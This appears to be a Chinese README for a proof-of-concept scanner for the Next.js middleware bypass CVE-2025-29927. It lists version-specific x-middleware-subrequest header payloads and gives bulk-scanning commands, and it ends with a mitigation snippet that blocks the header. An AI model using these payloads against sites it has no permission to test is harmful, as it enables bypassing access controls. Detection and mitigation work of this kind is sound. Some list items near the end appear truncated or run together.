一个强大的概念验证 (PoC) 工具,用于检测 Next.js 中间件漏洞 (CVE-2025-29927)。
该工具用于测试 Next.js 应用程序中的一个关键漏洞,其中 x-middleware-subrequest 标头可被利用来绕过中间件中实现的安全检查。该漏洞利用涉及发送带有特定恶意标头的 HTTP 请求,具体取决于 Next.js 的版本。
根据研究,不同版本的 Next.js 存在不同的 payload:
12.2 之前的版本:
x-middleware-subrequest: pages/_middleware
12.2 及之后的版本:
x-middleware-subrequest: middleware
或
x-middleware-subrequest: src/middleware
(如果应用程序使用 src 目录)
较新版本(如 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
或
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
我们的 PoC 会自动测试所有这些 payload,并报告哪些 payload 成功。
# 克隆仓库或下载文件
# 进入目录
cd poc-nextjs-2025
# 安装所需包
pip install -r requirements.txt
python main.py -u https://example.com # 测试单个 URL
python main.py -f targets.txt # 从文件测试多个 URL
| 选项 | 描述 |
|---|---|
-u, --url URL | 要扫描的目标 URL |
-f, --file FILE | 包含多个要扫描的 URL 的文件(每行一个) |
-p, --paths PATHS | 要测试的路径列表,以逗号分隔(默认:常见路径) |
-t, --threads N | 并发线程数(默认:5) |
-o, --output FILE | 将结果保存为 JSON 文件 |
--timeout N | 请求超时时间(秒)(默认:10) |
# 基本单目标扫描
python main.py -u https://example.com
# 使用自定义路径扫描多个目标
python main.py -f targets.txt -p /api/users,/admin,/dashboard
# 更高并发和更长超时扫描
python main.py -u https://example.com -t 10 --timeout 15
# 将结果保存到 JSON 文件
python main.py -u https://example.com -o scan_results.json
扫描器通过以下步骤工作:
x-middleware-subrequest 标头变体的请求如果你发现存在漏洞的应用程序,请应用以下缓解措施:
x-middleware-subrequest 标头的请求export function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}